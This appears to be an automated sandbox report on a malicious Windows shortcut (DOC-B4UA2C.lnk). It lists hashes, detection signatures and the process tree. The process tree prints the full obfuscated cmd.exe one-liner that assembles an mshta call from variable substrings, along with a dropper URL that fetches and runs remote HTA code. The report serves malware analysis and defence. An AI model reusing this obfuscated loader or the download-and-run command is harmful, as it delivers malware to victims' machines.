Analysis
- max time kernel
58s - max time network
61s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
17/08/2026, 12:31
Static task
static1
Behavioral task
behavioral1
Sample
DOC-B4UA2C.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-B4UA2C.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-B4UA2C.lnk
- Size 2KB
- Sample260817-pp7xeszfpe
- SHA256 79417c2c1424234524968a727cdcbfdaaca76a032b1add1f2c62a9e5d6f8f9e1
- MD5 3a013471bf0c35dfc24932b7f2860d05
- SHA1 5f220da71f9236db6ff66ba76d1c97ebe53994d5
- SHA512 b8b24e577799a632c3d32ff49a85d3c6c5943d07ff95512d6b7b6a721ec07100ee2c76b2230bc6e6ccf4e1cb6b49805735988248fd5bbe9c1a4aaf0f6b602e7b
- TLSH T14A414C903AFD01A8F2BF9E32DDFA6750487FB9665DA0C58D0940C54D0822B41E977B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5088 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5088 wrote to memory of 2168 5088 cmd.exe 88 PID 2168 wrote to memory of 4016 2168 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-B4UA2C.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set PrAtL=datbbhxaojetehrhyqodat&&set ajvys=oldgmvhjmhhluegzbzpold&&set Tg=infggswinf&&set pbq=oldsigjpnihxownuqilxzttold&&set GaGJ=cfgyeutuwmcfg&&set gVJod=dbgkcpaxdjjsofdbg&&set CCpwO=tmpvekczmwhmtmp&&set Mqu=a92sta3&&set KF=f7rx&&set NGW=kotv5&&set Hp=xemsh6m&&set fol=ct8fs&&set kGgYO=jkwa53&&set zXcw=tmpdngzbbxfggutmp&&set pkXtF=h@ttps:@/@/k-docu@menta@ci@[email protected]/h/estagio1.php?r=3F14@77@F1@53@9@8D1&&start /b !Hp:~2,3!!fol:~1,1!!kGgYO:~3,1! !pkXtF:@=!"2⤵
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4016
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